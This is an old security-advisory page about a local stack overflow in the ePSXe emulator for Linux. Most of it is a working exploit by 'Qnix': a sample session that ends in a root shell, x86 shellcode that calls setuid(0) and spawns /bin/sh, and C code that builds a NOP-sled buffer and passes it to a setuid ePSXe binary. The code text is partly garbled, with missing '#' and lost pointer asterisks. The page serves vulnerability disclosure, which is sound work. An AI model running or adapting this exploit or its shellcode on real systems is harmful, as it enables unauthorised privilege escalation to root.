[EXPL] ePSXe Local Stack Overflow (Exploit)

2005-06-07T00:00:00
ID SECURITYVULNS:DOC:8803
Type securityvulns
Reporter Securityvulns
Modified 2005-06-07T00:00:00

Description

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ePSXe Local Stack Overflow (Exploit)

SUMMARY

<http://www.epsxe.com/ > ePSXe is "a PSX(Sony PlayStation) emulator for Linux". The following exploit code will use a locally exploitable stack overflow in ePSXe to gain root privileges on systems that have the setuid bit set on the ePSXe program.

DETAILS

Vulnerable Systems: * ePSXe emulator version 1.6.0 and prior

Exploit: / epsxe-e.c ePSXe v1. local exploit By: Qnix e-mail: q-nix[at]hotmail[dot]com ePSXe-website: www.epsxe.com

EXP-Sample:

root@Qnix:~/epsxe# gcc -o epsxe-e epsxe-e.c root@Qnix:~/epsxe# ./epsxe-e


  ePSXe v1.* local exploit
             by

Qnix | Q-nix[at]hotmail[dot]com


[~] Stack pointer (ESP) : 0xbffff568 [~] Offset from ESP : 0x0 [~] Desired Return Addr : 0xbffff568

  • Running ePSXe emulator version 1.6.0.
  • Memory handlers init. sh-2.05b# id uid=0(root) gid=0(root) groups=0(root), 1(bin), 2(daemon), 3(sys), 4(adm), 6(disk), 10(wheel), 11(floppy) */

include <stdlib.h>

char shellcode[] = "\x31\xc0\xb0\x46\x31\xdb\x31\xc9\xcd\x80\xeb\x16\x5b\x31\xc0" "\x88\x43\x07\x89\x5b\x08\x89\x43\x0c\xb0\x0b\x8d\x4b\x08\x8d" "\x53\x0c\xcd\x80\xe8\xe5\xff\xff\xff\x2f\x62\x69\x6e\x2f\x73" "\x68";

unsigned long sp(void) { asm("movl %esp, %eax");}

int main(int argc, char argv[]) { int i, offset; long esp, ret, addr_ptr; char buffer, ptr;

offset = 0; esp = sp(); ret = esp - offset;

printf("\n ***** \n"); printf(" ePSXe v1. local exploit \n"); printf(" by \n"); printf(" Qnix | Q-nix[at]hotmail[dot]com "); printf("\n ****** \n\n"); printf("[~] Stack pointer (ESP) : 0x%x\n", esp); printf("[~] Offset from ESP : 0x%x\n", offset); printf("[~] Desired Return Addr : 0x%x\n\n", ret);

buffer = malloc(600);

ptr = buffer; addr_ptr = (long ) ptr; for(i=0; i < 600; i+=4) { (addr_ptr++) = ret; }

for(i=0; i < 200; i++) { buffer[i] = '\x90'; }

ptr = buffer + 200; for(i=0; i < strlen(shellcode); i++) { *(ptr++) = shellcode[i]; }

buffer[600-1] = 0;

execl("./epsxe", "epsxe", "-nogui", buffer, 0);

free(buffer);

return 0; }

ADDITIONAL INFORMATION

The information has been provided by <mailto:q-nix[at]hotmail[dot]com> Qnix.

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